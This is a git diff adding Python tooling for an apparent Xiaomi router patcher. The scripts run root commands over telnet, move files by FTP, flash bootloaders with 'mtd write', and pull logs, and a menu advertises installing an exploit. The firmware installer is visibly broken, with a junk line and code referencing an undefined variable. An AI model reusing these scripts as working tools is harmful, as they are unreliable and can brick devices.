+ if isinstance(cmd, str):
+ cmdlist.append(cmd)
+ else:
+ cmdlist = cmd
+ for idx, cmd in enumerate(cmdlist):
+ cmd = (cmd + '\n').encode('ascii')
+ tn.write(cmd)
+ tn.read_until(b"root@XiaoQiang:~#")
+ tn.write(b"exit\n")
+ return True
+
+ def download(self, fn_remote, fn_local, verbose = 1):
+ self.create_ftp(self.verbose)
+ file = open(fn_local, 'wb')
+ if verbose and self.verbose:
+ print('Download file: "{}" ....'.format(fn_remote))
+ self.ftp.retrbinary('RETR ' + fn_remote, file.write)
+ file.close()
+ return True
+
+ def upload(self, fn_local, fn_remote, verbose = 1):
+ try:
+ file = open(fn_local, 'rb')
+ except Exception:
+ die('File "{}" not found.'.format(fn_local))
+ self.create_ftp(self.verbose)
+ if verbose and self.verbose:
+ print('Upload file: "{}" ....'.format(fn_local))
+ self.ftp.storbinary('STOR ' + fn_remote, file)
+ file.close()
+ return True
+
+
+if __name__ == "__main__":
+ if len(sys.argv) > 1:
+ ip_addr = sys.argv[1]
+ gw = Gateway(detect_device = False)
+ gw.ip_addr = ip_addr
+ gw.save_config()
+ print("Device IP-address changed to {}".format(ip_addr))
+
diff --git a/install_bl.py b/install_bl.py
new file mode 100644
index 0000000..bd0ed0e
--- /dev/null
+++ b/install_bl.py
@@ -0,0 +1,70 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import os
+import sys
+
+sys.path.append(os.path.dirname(os.path.abspath(__file__)))
+import gateway
+from gateway import die
+import read_info
+
+
+if len(sys.argv) <= 1:
+ die("Bootloader name not specified!")
+bl_name = sys.argv[1]
+bl_name = bl_name.strip().lower()
+
+
+gw = gateway.Gateway()
+dname = gw.device_name
+if not gw.device_name:
+ die("Xiaomi Mi Wi-Fi device not found! (IP: {})".format(gateway.ip_addr))
+
+fn_dir = 'bootloader/'
+fn_remote = '/tmp/bootloader.bin'
+fn_local = None
+
+if bl_name == 'breed':
+ if dname != 'r3g' and dname != 'r3p' and dname != 'rm2100':
+ die("Breed bootloader cannot be installed on this device!")
+ fn_local = fn_dir + 'breed_r3g_eng.bin'
+
+if bl_name == 'uboot':
+ fn_local = fn_dir + 'uboot_{}.bin'.format(gw.device_name)
+
+if not fn_local:
+ die('Incorrect bootloader name!')
+
+if not os.path.exists(fn_local):
+ die('File "{}" not found'.format(fn_local))
+
+dev = read_info.DevInfo(verbose = 0, infolevel = 1)
+if dev.info.cpu_arch != 'mips':
+ die("Currently support only MIPS arch!")
+
+dev.get_bootloader()
+if not dev.bl.img:
+ die("Can't dump current bootloader!")
+
+if dev.bl.spi_rom:
+ die("Not support SPI Flash ROM! (now supported only NAND)")
+
+addr = None
+for p, part in enumerate(dev.partlist):
+ if part['addr'] == 0 and part['size'] > 0x00800000: # 8MiB
+ continue # skip "ALL" part
+ if part['addr'] == 0:
+ name = part['name']
+ fname = ''.join(e for e in name if e.isalnum())
+ addr = part['addr']
+ size = part['size']
+
+if addr is None:
+ die("No matching partition found!")
+
+gw.upload(fn_local, fn_remote)
+print ('Writing data to partition "{}" (addr: {}) ...'.format(name, "0x%08X" % addr))
+gw.run_cmd('mtd write {bin} "{name}"'.format(bin=fn_remote, name=name))
+
+print('Ready! Bootloader "{}" installation is complete.'.format(bl_name))
diff --git a/install_fw.py b/install_fw.py
new file mode 100644
index 0000000..b64f782
--- /dev/null
+++ b/install_fw.py
@@ -0,0 +1,82 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import os
+import sys
+
+sys.path.append(os.path.dirname(os.path.abspath(__file__)))
+import gateway
+from gateway import die
+
+
+gw = gateway.Gateway()
+if not gw.device_name:
+ die("Устройство Xiaomi Mi Wi-Fi не найдено! (IP: {})".format(gateway.ip_addr))
+
+fn_dir = 'firmware/'
+fn_dir2 = fn_dir + '/tmp/'
+fn_kernel = fn_dir2 + 'kernel.bin'
+fn_rootfs = fn_dir2 + 'rootfs.bin'
+
+os.makedirs(fn_dir2, exist_ok = True)
+
+fn_list = [f for f in os.listdir(fn_dir) if os.path.isfile(os.path.join(fn_dir, f))]
+if not fn_list:
+ die("В папке {} прошивка не найдена!".format(fn_dir))
+
+fn_local = fn_dir + fn_list[0]
+print("Считываю файл {}".format(fn_local))
+with open(fn_local, "rb") as file:
+ data = file.read()
+
+fw_type = None
+
+if data[:4] == b'HDR1' or data[:4] == b'HDR2':
+ fw_type = 'stock'
+ die("Стоковые прошивки Xiaomi не поддерживаются!")
+
+if data[:4] == b"\x27\x05\x19\x56": # uImage
+ fw_type = 'factory'
+
+if data[:10] == b"sysupgrade": # TAR
+ fw_type = 'sysupgrade'
+ die("SysUpgrade прошивки (TAR-архивы) не поддерживаются!")
+
+if not fw_type:
+ die("Неизвестный тип прошивки (header = {})".format(data[:16]))
+
+if data[:4] == b"\x27\x05\x19\x56":
+ fw_type = 'factory'
+
+if fw_type == 'factory':
+ pos = 0x0C
+ kernel_size = int.from_bytes(data[pos:pos+4], byteorder='big')
+ kernel_size += 0x40
+ if (kernel_size > len(data) - 1024):
+ die("initramfs прошивки не поддерживаются!")
+ rootfs_offset = data.find(b'UBI#', kernel_size)
+ if (rootfs_offset <= 0):
+ die("В прошивке не найден раздел rootfs!")
+ #if (rootfs_offset < 4*1024*1024):
+ # kernel_size = rootfs_offset
+ kernel_data = data[:kernel_size]
+ with open(fn_kernel, "wb") as file:
+ file.write(kernel_data)
+ with open(fn_rootfs, "wb") as file:
+ file.write(data[rootfs_offset:])
+
+sys.exit(0) hhjhjhhjhj
+
+print("Загружаем: " + fn_local)
+gw.upload(fn_local, fn_remote)
+
+for filename in [fn for fn in os.listdir(fn_dir) if fn.split(".")[-1] in ['lmo']]:
+ print("Загружаем: " + filename)
+ gw.upload(fn_dir + '/' + filename, '/tmp/' + filename)
+
+print("Загрузка файлов завершена")
+
+print ("Настраиваем...")
+gw.run_cmd("sh " + fn_remote)
+
+print("Готово! Языковые файлы установлены.")
diff --git a/install_lang.py b/install_lang.py
new file mode 100644
index 0000000..4b56ecd
--- /dev/null
+++ b/install_lang.py
@@ -0,0 +1,49 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import os
+import sys
+
+sys.path.append(os.path.dirname(os.path.abspath(__file__)))
+import gateway
+from gateway import die
+
+
+gw = gateway.Gateway()
+
+fn_dir = 'data/'
+fn_local = 'data/lang_patch.sh'
+fn_remote = '/tmp/lang_patch.sh'
+fn_local_i = 'data/lang_install.sh'
+fn_remote_i = '/tmp/lang_install.sh'
+fn_local_u = 'data/lang_uninstall.sh'
+fn_remote_u = '/tmp/lang_uninstall.sh'
+
+action = 'install'
+if len(sys.argv) > 1:
+ if sys.argv[1].startswith('u') or sys.argv[1].startswith('r'):
+ action = 'uninstall'
+
+if action == 'install':
+ gw.upload(fn_local, fn_remote)
+ gw.upload(fn_local_i, fn_remote_i)
+
+gw.upload(fn_local_u, fn_remote_u)
+
+if action == 'install':
+ for filename in [fn for fn in os.listdir(fn_dir) if fn.split(".")[-1] in ['lmo']]:
+ gw.upload(fn_dir + filename, '/tmp/' + filename)
+
+print("All files uploaded!")
+
+print("Run scripts...")
+if action == 'install':
+ gw.run_cmd("sh " + fn_remote_i)
+else:
+ gw.run_cmd("sh " + fn_remote_u)
+
+gw.run_cmd("rm -f " + fn_remote)
+gw.run_cmd("rm -f " + fn_remote_i)
+gw.run_cmd("rm -f " + fn_remote_u)
+
+print("Ready! The language files are installed.")
diff --git a/menu.py b/menu.py
new file mode 100644
index 0000000..0512978
--- /dev/null
+++ b/menu.py
@@ -0,0 +1,125 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import os
+import sys
+import subprocess
+
+sys.path.append(os.path.dirname(os.path.abspath(__file__)))
+import gateway
+from gateway import die
+
+
+gw = gateway.Gateway(detect_device = False)
+
+def get_header(delim, suffix = ''):
+ header = delim*58 + '\n'
+ header += '\n'
+ header += 'Xiaomi MiR Patcher {} \n'.format(suffix)
+ header += '\n'
+ return header
+
+def menu1_show():
+ gw.load_config()
+ print(get_header('='))
+ print(' 1 - Set IP-address (current value: {})'.format(gw.ip_addr))
+ print(' 2 - Connect to device (install exploit)')
+ print(' 3 - Read full device info')
+ print(' 4 - Create full backup')
+ print(' 5 - Install EN/RU languages')
+ print(' 6 - Install Breed bootloader')
+ print(' 7 - Install firmware (from directory "firmware")')
+ print(' 8 - {{{ Other functions }}}')
+ print(' 9 - [[ Reboot device ]]')
+ print(' 0 - Exit')
+
+def menu1_process(id):
+ if id == 1:
+ ip_addr = input("Enter device IP-address: ")
+ return [ "gateway.py", ip_addr ]
+ if id == 2: return "connect.py"
+ if id == 3: return "read_info.py"
+ if id == 4: return "create_backup.py"
+ if id == 5: return "install_lang.py"
+ if id == 6: return "install_breed.py"
+ if id == 7: return "install_fw.py"
+ if id == 8: return "__menu2"
+ if id == 9: return "reboot.py"
+ if id == 0: sys.exit(0)
+ return None
+
+def menu2_show():
+ print(get_header('-', '(extended functions)'))
+ print(' 1 - Set default device IP-address')
+ print(' 2 - Read dmesg and syslog')
+ print(' 3 - ')
+ print(' 4 - Create a backup of the specified partition')
+ print(' 5 - Uninstall EN/RU languages')
+ print(' 6 - Set kernel boot address')
+ print(' 7 - ')
+ print(' 8 - __test__')
+ print(' 9 - [[ Reboot device ]]')
+ print(' 0 - Return to main menu')
+
+def menu2_process(id):
+ if id == 1: return "set_def_ipaddr.by"
+ if id == 2: return "read_dmesg.py"
+ if id == 3: return None
+ if id == 4: return [ "create_backup.py", "part" ]
+ if id == 5: return [ "install_lang.py", "uninstall" ]
+ if id == 6: return "activate_boot.py"
+ if id == 7: return None
+ if id == 8: return "test.py"
+ if id == 9: return "reboot.py"
+ if id == 0: return "__menu1"
+ return None
+
+def menu_show(level):
+ if level == 1:
+ menu1_show()
+ return 'Select: '
+ else:
+ menu2_show()
+ return 'Choice: '
+
+def menu_process(level, id):
+ if level == 1:
+ return menu1_process(id)
+ else:
+ return menu2_process(id)
+
+def menu():
+ level = 1
+ while True:
+ print('')
+ prompt = menu_show(level)
+ print('')
+ select = input(prompt)
+ print('')
+ if not select:
+ continue
+ try:
+ id = int(select)
+ except Exception:
+ id = -1
+ if id < 0:
+ continue
+ cmd = menu_process(level, id)
+ if not cmd:
+ continue
+ if cmd == '__menu1':
+ level = 1
+ continue
+ if cmd == '__menu2':
+ level = 2
+ continue
+ #print("cmd2 =", cmd)
+ if isinstance(cmd, str):
+ result = subprocess.run([sys.executable, cmd])
+ else:
+ result = subprocess.run([sys.executable] + cmd)
+
+
+menu()
+
+
diff --git a/python/LICENSE.txt b/python/LICENSE.txt
new file mode 100644
index 0000000..0098274
--- /dev/null
+++ b/python/LICENSE.txt
@@ -0,0 +1,254 @@
+A. HISTORY OF THE SOFTWARE
+==========================
+
+Python was created in the early 1990s by Guido van Rossum at Stichting
+Mathematisch Centrum (CWI, see http://www.cwi.nl) in the Netherlands
+as a successor of a language called ABC. Guido remains Python's
+principal author, although it includes many contributions from others.
+
+In 1995, Guido continued his work on Python at the Corporation for
+National Research Initiatives (CNRI, see http://www.cnri.reston.va.us)
+in Reston, Virginia where he released several versions of the
+software.
+
+In May 2000, Guido and the Python core development team moved to
+BeOpen.com to form the BeOpen PythonLabs team. In October of the same
+year, the PythonLabs team moved to Digital Creations, which became
+Zope Corporation. In 2001, the Python Software Foundation (PSF, see
+https://www.python.org/psf/) was formed, a non-profit organization
+created specifically to own Python-related Intellectual Property.
+Zope Corporation was a sponsoring member of the PSF.
+
+All Python releases are Open Source (see http://www.opensource.org for
+the Open Source Definition). Historically, most, but not all, Python
+releases have also been GPL-compatible; the table below summarizes
+the various releases.
+
+ Release Derived Year Owner GPL-
+ from compatible? (1)
+
+ 0.9.0 thru 1.2 1991-1995 CWI yes
+ 1.3 thru 1.5.2 1.2 1995-1999 CNRI yes
+ 1.6 1.5.2 2000 CNRI no
+ 2.0 1.6 2000 BeOpen.com no
+ 1.6.1 1.6 2001 CNRI yes (2)
+ 2.1 2.0+1.6.1 2001 PSF no
+ 2.0.1 2.0+1.6.1 2001 PSF yes
+ 2.1.1 2.1+2.0.1 2001 PSF yes
+ 2.1.2 2.1.1 2002 PSF yes
+ 2.1.3 2.1.2 2002 PSF yes
+ 2.2 and above 2.1.1 2001-now PSF yes
+
+Footnotes:
+
+(1) GPL-compatible doesn't mean that we're distributing Python under
+ the GPL. All Python licenses, unlike the GPL, let you distribute
+ a modified version without making your changes open source. The
+ GPL-compatible licenses make it possible to combine Python with
+ other software that is released under the GPL; the others don't.
+
+(2) According to Richard Stallman, 1.6.1 is not GPL-compatible,
+ because its license has a choice of law clause. According to
+ CNRI, however, Stallman's lawyer has told CNRI's lawyer that 1.6.1
+ is "not incompatible" with the GPL.
+
+Thanks to the many outside volunteers who have worked under Guido's
+direction to make these releases possible.
+
+
+B. TERMS AND CONDITIONS FOR ACCESSING OR OTHERWISE USING PYTHON
+===============================================================
+
+PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2
+--------------------------------------------
+
+1. This LICENSE AGREEMENT is between the Python Software Foundation
+("PSF"), and the Individual or Organization ("Licensee") accessing and
+otherwise using this software ("Python") in source or binary form and
+its associated documentation.
+
+2. Subject to the terms and conditions of this License Agreement, PSF hereby
+grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce,
+analyze, test, perform and/or display publicly, prepare derivative works,
+distribute, and otherwise use Python alone or in any derivative version,
+provided, however, that PSF's License Agreement and PSF's notice of copyright,
+i.e., "Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010,
+2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020 Python Software Foundation;
+All Rights Reserved" are retained in Python alone or in any derivative version
+prepared by Licensee.
+
+3. In the event Licensee prepares a derivative work that is based on
+or incorporates Python or any part thereof, and wants to make
+the derivative work available to others as provided herein, then
+Licensee hereby agrees to include in any such work a brief summary of
+the changes made to Python.
+
+4. PSF is making Python available to Licensee on an "AS IS"
+basis. PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
+IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND
+DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
+FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON WILL NOT
+INFRINGE ANY THIRD PARTY RIGHTS.
+
+5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON
+FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS
+A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON,
+OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
+
+6. This License Agreement will automatically terminate upon a material
+breach of its terms and conditions.
+
+7. Nothing in this License Agreement shall be deemed to create any
+relationship of agency, partnership, or joint venture between PSF and
+Licensee. This License Agreement does not grant permission to use PSF
+trademarks or trade name in a trademark sense to endorse or promote
+products or services of Licensee, or any third party.
+
+8. By copying, installing or otherwise using Python, Licensee
+agrees to be bound by the terms and conditions of this License
+Agreement.
+
+
+BEOPEN.COM LICENSE AGREEMENT FOR PYTHON 2.0
+-------------------------------------------
+
+BEOPEN PYTHON OPEN SOURCE LICENSE AGREEMENT VERSION 1
+
+1. This LICENSE AGREEMENT is between BeOpen.com ("BeOpen"), having an
+office at 160 Saratoga Avenue, Santa Clara, CA 95051, and the
+Individual or Organization ("Licensee") accessing and otherwise using
+this software in source or binary form and its associated
+documentation ("the Software").
+
+2. Subject to the terms and conditions of this BeOpen Python License
+Agreement, BeOpen hereby grants Licensee a non-exclusive,
+royalty-free, world-wide license to reproduce, analyze, test, perform
+and/or display publicly, prepare derivative works, distribute, and
+otherwise use the Software alone or in any derivative version,
+provided, however, that the BeOpen Python License is retained in the
+Software, alone or in any derivative version prepared by Licensee.
+
+3. BeOpen is making the Software available to Licensee on an "AS IS"
+basis. BEOPEN MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
+IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, BEOPEN MAKES NO AND
+DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
+FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE WILL NOT
+INFRINGE ANY THIRD PARTY RIGHTS.
+
+4. BEOPEN SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF THE
+SOFTWARE FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS
+AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THE SOFTWARE, OR ANY
+DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
+
+5. This License Agreement will automatically terminate upon a material
+breach of its terms and conditions.
+
+6. This License Agreement shall be governed by and interpreted in all
+respects by the law of the State of California, excluding conflict of
+law provisions. Nothing in this License Agreement shall be deemed to
+create any relationship of agency, partnership, or joint venture
+between BeOpen and Licensee. This License Agreement does not grant
+permission to use BeOpen trademarks or trade names in a trademark
+sense to endorse or promote products or services of Licensee, or any
+third party. As an exception, the "BeOpen Python" logos available at
+http://www.pythonlabs.com/logos.html may be used according to the
+permissions granted on that web page.
+
+7. By copying, installing or otherwise using the software, Licensee
+agrees to be bound by the terms and conditions of this License
+Agreement.
+
+
+CNRI LICENSE AGREEMENT FOR PYTHON 1.6.1
+---------------------------------------
+
+1. This LICENSE AGREEMENT is between the Corporation for National
+Research Initiatives, having an office at 1895 Preston White Drive,
+Reston, VA 20191 ("CNRI"), and the Individual or Organization
+("Licensee") accessing and otherwise using Python 1.6.1 software in
+source or binary form and its associated documentation.
+
+2. Subject to the terms and conditions of this License Agreement, CNRI
+hereby grants Licensee a nonexclusive, royalty-free, world-wide
+license to reproduce, analyze, test, perform and/or display publicly,
+prepare derivative works, distribute, and otherwise use Python 1.6.1
+alone or in any derivative version, provided, however, that CNRI's
+License Agreement and CNRI's notice of copyright, i.e., "Copyright (c)
+1995-2001 Corporation for National Research Initiatives; All Rights
+Reserved" are retained in Python 1.6.1 alone or in any derivative
+version prepared by Licensee. Alternately, in lieu of CNRI's License
+Agreement, Licensee may substitute the following text (omitting the
+quotes): "Python 1.6.1 is made available subject to the terms and
+conditions in CNRI's License Agreement. This Agreement together with
+Python 1.6.1 may be located on the Internet using the following
+unique, persistent identifier (known as a handle): 1895.22/1013. This
+Agreement may also be obtained from a proxy server on the Internet
+using the following URL: http://hdl.handle.net/1895.22/1013".
+
+3. In the event Licensee prepares a derivative work that is based on
+or incorporates Python 1.6.1 or any part thereof, and wants to make
+the derivative work available to others as provided herein, then
+Licensee hereby agrees to include in any such work a brief summary of
+the changes made to Python 1.6.1.
+
+4. CNRI is making Python 1.6.1 available to Licensee on an "AS IS"
+basis. CNRI MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
+IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, CNRI MAKES NO AND
+DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
+FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON 1.6.1 WILL NOT
+INFRINGE ANY THIRD PARTY RIGHTS.
+
+5. CNRI SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON
+1.6.1 FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS
+A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON 1.6.1,
+OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
+
+6. This License Agreement will automatically terminate upon a material
+breach of its terms and conditions.
+
+7. This License Agreement shall be governed by the federal
+intellectual property law of the United States, including without
+limitation the federal copyright law, and, to the extent such
+U.S. federal law does not apply, by the law of the Commonwealth of
+Virginia, excluding Virginia's conflict of law provisions.
+Notwithstanding the foregoing, with regard to derivative works based
+on Python 1.6.1 that incorporate non-separable material that was
+previously distributed under the GNU General Public License (GPL), the
+law of the Commonwealth of Virginia shall govern this License
+Agreement only as to issues arising under or with respect to
+Paragraphs 4, 5, and 7 of this License Agreement. Nothing in this
+License Agreement shall be deemed to create any relationship of
+agency, partnership, or joint venture between CNRI and Licensee. This
+License Agreement does not grant permission to use CNRI trademarks or
+trade name in a trademark sense to endorse or promote products or
+services of Licensee, or any third party.
+
+8. By clicking on the "ACCEPT" button where indicated, or by copying,
+installing or otherwise using Python 1.6.1, Licensee agrees to be
+bound by the terms and conditions of this License Agreement.
+
+ ACCEPT
+
+
+CWI LICENSE AGREEMENT FOR PYTHON 0.9.0 THROUGH 1.2
+--------------------------------------------------
+
+Copyright (c) 1991 - 1995, Stichting Mathematisch Centrum Amsterdam,
+The Netherlands. All rights reserved.
+
+Permission to use, copy, modify, and distribute this software and its
+documentation for any purpose and without fee is hereby granted,
+provided that the above copyright notice appear in all copies and that
+both that copyright notice and this permission notice appear in
+supporting documentation, and that the name of Stichting Mathematisch
+Centrum or CWI not be used in advertising or publicity pertaining to
+distribution of the software without specific, written prior
+permission.
+
+STICHTING MATHEMATISCH CENTRUM DISCLAIMS ALL WARRANTIES WITH REGARD TO
+THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND
+FITNESS, IN NO EVENT SHALL STICHTING MATHEMATISCH CENTRUM BE LIABLE
+FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT
+OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/python/_asyncio.pyd b/python/_asyncio.pyd
new file mode 100644
index 0000000..6744d1b
Binary files /dev/null and b/python/_asyncio.pyd differ
diff --git a/python/_bz2.pyd b/python/_bz2.pyd
new file mode 100644
index 0000000..63c3597
Binary files /dev/null and b/python/_bz2.pyd differ
diff --git a/python/_ctypes.pyd b/python/_ctypes.pyd
new file mode 100644
index 0000000..8519769
Binary files /dev/null and b/python/_ctypes.pyd differ
diff --git a/python/_decimal.pyd b/python/_decimal.pyd
new file mode 100644
index 0000000..712e840
Binary files /dev/null and b/python/_decimal.pyd differ
diff --git a/python/_elementtree.pyd b/python/_elementtree.pyd
new file mode 100644
index 0000000..5283523
Binary files /dev/null and b/python/_elementtree.pyd differ
diff --git a/python/_hashlib.pyd b/python/_hashlib.pyd
new file mode 100644
index 0000000..cee10ae
Binary files /dev/null and b/python/_hashlib.pyd differ
diff --git a/python/_lzma.pyd b/python/_lzma.pyd
new file mode 100644
index 0000000..1ed8f8a
Binary files /dev/null and b/python/_lzma.pyd differ
diff --git a/python/_msi.pyd b/python/_msi.pyd
new file mode 100644
index 0000000..0810860
Binary files /dev/null and b/python/_msi.pyd differ
diff --git a/python/_multiprocessing.pyd b/python/_multiprocessing.pyd
new file mode 100644
index 0000000..1120490
Binary files /dev/null and b/python/_multiprocessing.pyd differ
diff --git a/python/_overlapped.pyd b/python/_overlapped.pyd
new file mode 100644
index 0000000..6ca9803
Binary files /dev/null and b/python/_overlapped.pyd differ
diff --git a/python/_queue.pyd b/python/_queue.pyd
new file mode 100644
index 0000000..18507b6
Binary files /dev/null and b/python/_queue.pyd differ
diff --git a/python/_socket.pyd b/python/_socket.pyd
new file mode 100644
index 0000000..39be0e5
Binary files /dev/null and b/python/_socket.pyd differ
diff --git a/python/_sqlite3.pyd b/python/_sqlite3.pyd
new file mode 100644
index 0000000..a6a00ad
Binary files /dev/null and b/python/_sqlite3.pyd differ
diff --git a/python/_ssl.pyd b/python/_ssl.pyd
new file mode 100644
index 0000000..fd75582
Binary files /dev/null and b/python/_ssl.pyd differ
diff --git a/python/pyexpat.pyd b/python/pyexpat.pyd
new file mode 100644
index 0000000..6a4c920
Binary files /dev/null and b/python/pyexpat.pyd differ
diff --git a/python/python.exe b/python/python.exe
new file mode 100644
index 0000000..56b922f
Binary files /dev/null and b/python/python.exe differ
diff --git a/python/python3.dll b/python/python3.dll
new file mode 100644
index 0000000..52fdeba
Binary files /dev/null and b/python/python3.dll differ
diff --git a/python/python37._pth b/python/python37._pth
new file mode 100644
index 0000000..768138f
--- /dev/null
+++ b/python/python37._pth
@@ -0,0 +1,5 @@
+python37.zip
+.
+
+# Uncomment to run site.main() automatically
+#import site
diff --git a/python/python37.dll b/python/python37.dll
new file mode 100644
index 0000000..9ccdfa6
Binary files /dev/null and b/python/python37.dll differ
diff --git a/python/python37.zip b/python/python37.zip
new file mode 100644
index 0000000..d73dfd7
Binary files /dev/null and b/python/python37.zip differ
diff --git a/python/pythonw.exe b/python/pythonw.exe
new file mode 100644
index 0000000..c02617c
Binary files /dev/null and b/python/pythonw.exe differ
diff --git a/python/select.pyd b/python/select.pyd
new file mode 100644
index 0000000..cf04d65
Binary files /dev/null and b/python/select.pyd differ
diff --git a/python/unicodedata.pyd b/python/unicodedata.pyd
new file mode 100644
index 0000000..8d7bc46
Binary files /dev/null and b/python/unicodedata.pyd differ
diff --git a/python/winsound.pyd b/python/winsound.pyd
new file mode 100644
index 0000000..ce515eb
Binary files /dev/null and b/python/winsound.pyd differ
diff --git a/read_dmesg.py b/read_dmesg.py
new file mode 100644
index 0000000..3c5b3bf
--- /dev/null
+++ b/read_dmesg.py
@@ -0,0 +1,56 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import os
+import sys
+import platform
+
+sys.path.append(os.path.dirname(os.path.abspath(__file__)))
+import gateway
+from gateway import die
+
+
+gw = gateway.Gateway()
+
+fn_old = 'outdir/dmesg_old.txt'
+fn_local = 'outdir/dmesg.txt'
+fn_remote = '/tmp/dmesg.txt'
+
+if os.path.exists(fn_local):
+ if os.path.exists(fn_old):
+ os.remove(fn_old)
+ os.rename(fn_local, fn_old)
+
+print("Send command...")
+gw.run_cmd("dmesg > " + fn_remote)
+print("File {} created!".format(fn_remote))
+
+print("Downloading data to a computer...")
+gw.download(fn_remote, fn_local)
+
+#print("Удаляю временные файлы")
+gw.run_cmd("rm -f " + fn_remote)
+
+with open(fn_local, "r") as file:
+ data = file.read()
+with open(fn_local, "w") as file:
+ file.write(data)
+
+print("Kernel logs written to file {}".format(fn_local))
+
+fn_old = 'outdir/syslog_old.txt'
+fn_local = 'outdir/syslog.txt'
+fn_remote = '/tmp/syslog.txt'
+if os.path.exists(fn_local):
+ if os.path.exists(fn_old):
+ os.remove(fn_old)
+ os.rename(fn_local, fn_old)
+gw.run_cmd("cat /data/usr/log/messages > " + fn_remote)
+#gw.run_cmd("cat /proc/xiaoqiang/xq_syslog > " + fn_remote)
+gw.download(fn_remote, fn_local)
+gw.run_cmd("rm -f " + fn_remote)
+with open(fn_local, "r") as file:
+ data = file.read()
+with open(fn_local, "w") as file:
+ file.write(data)
+print("System logs are written to a file {}".format(fn_local))
diff --git a/read_info.py b/read_info.py
new file mode 100644
index 0000000..06d473f
--- /dev/null
+++ b/read_info.py
@@ -0,0 +1,671 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import os
+import sys
+import re
+import types
+import binascii
+
+sys.path.append(os.path.dirname(os.path.abspath(__file__)))
+import gateway
+from gateway import die
+from envbuffer import EnvBuffer
+
+
+gw = gateway.Gateway()
+
+class RootFS():
+ num = None # 0 / 1
+ dev = None # "/dev/mtd10"
+ mtd_name = None # "mtd10" / "mtd11"
+ partition = None # "rootfs0" / "rootfs1"
+
+class Bootloader():
+ type = None # 'uboot' / 'breed' / 'pandora'
+ img = None
+ img_size = None
+ addr = None
+ spi_rom = False
+
+class BaseInfo():
+ linux_ver = None
+ cpu_arch = None
+ cpu_name = None
+ spi_rom = False
+
+class Version():
+ openwrt = None # '12.09.1'
+ fw = None
+ channel = None # 'release' / 'stable'
+ buildtime = None
+ hardware = None # 'R3G'
+ uboot1 = None # '4.2.S.1'
+ uboot2 = None
+
+class DevInfo():
+ verbose = 0
+ dmesg = None # text
+ info = BaseInfo()
+ partlist = [] # list of {addr, size, name}
+ kcmdline = {} # key=value
+ nvram = {} # key=value
+ rootfs = RootFS()
+ board_name = None
+ model = None
+ ver = Version()
+ bl = Bootloader() # first bootloader
+ bl_list = [] # list of Bootloaders
+ env_list = [] # list of EnvBuffer
+ env = types.SimpleNamespace()
+ env.fw = EnvBuffer()
+ env.breed = EnvBuffer()
+ env.bdata = EnvBuffer()
+
+ def __init__(self, verbose = 0, infolevel = 1):
+ self.verbose = verbose
+ os.makedirs('outdir', exist_ok = True)
+ os.makedirs('tmp', exist_ok = True)
+ if infolevel > 0:
+ self.update(infolevel)
+
+ def update(self, infolevel):
+ if infolevel >= 1:
+ self.get_dmesg()
+ self.get_part_table()
+ if not self.partlist or len(self.partlist) <= 1:
+ die("Partition list is empty!")
+ self.get_rootfs()
+ self.get_baseinfo()
+ if not self.info.cpu_arch:
+ die("Can't detect CPU arch!")
+ if infolevel >= 2:
+ self.get_ver()
+ if infolevel >= 3:
+ self.get_kernel_cmdline()
+ self.get_nvram()
+ if infolevel >= 4:
+ self.get_bootloader()
+ if infolevel >= 5:
+ self.get_env_list()
+
+ def get_dmesg(self, verbose = None):
+ verbose = verbose if verbose is not None else self.verbose
+ self.dmesg = None
+ fn_local = 'outdir/dmesg.log'
+ fn_remote = '/tmp/dmesg.log'
+ try:
+ gw.run_cmd("dmesg > " + fn_remote)
+ gw.download(fn_remote, fn_local)
+ gw.run_cmd("rm -f " + fn_remote)
+ except Exception:
+ return self.kcmdline
